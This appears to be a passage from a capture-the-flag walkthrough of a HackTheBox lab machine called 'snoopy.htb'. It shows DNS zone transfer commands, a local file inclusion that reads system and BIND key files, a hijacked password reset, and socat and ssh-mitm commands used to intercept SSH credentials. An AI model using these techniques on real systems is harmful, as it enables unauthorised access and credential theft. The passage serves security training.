Also something interesting, given that the server is listening on port 53:
<p>Attention: As we migrate DNS records to our new domain please be advised that our mailserver 'mail.snoopy.htb' is currently offline.</p>

Then I just decided to test if the server broadcasts its DNS records, it does:
~➤ dig @snoopy.htb -tAXFR snoopy.htb

; (1 server found)

Ok, so that /download is able to download Local files (LFI):

There we can see a bunch of users, I guess we will need to pivot between them cbrown, sbrown, lpelt, cshultz, vgray, clamav?.
Now, I will download /etc/bind/named.config, the following “rndc-key” should be stored in a separated file.
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";
key "rndc-key" {

};

Keep in mind, 10.10.11.212 is snoopy.htb and 10.10.14.7 is my own IP.
Now we proceed to reset [email protected] password on http://mm.snoopy.htb/reset_password you will get this message captured and get a token:
b'Reset Your Password'
b'Click the button below to reset your password. If you didn=E2=80=99t reques='

We are now able to login into mm using that token the reset cbrown’s password:
Intercetp SSH password by provisioning a server Link to heading
I notice we have a command that helps us to provision a server via SSH, we can intercept that information.
We start SSH MITM python tool:
~z➤ nohup sudo socat TCP-LISTEN:2222,fork TCP:127.0.0.1:10022 &
~z➤ sudo ./ssh-mitm-x86_64.AppImage server --remote-host snoopy.htb
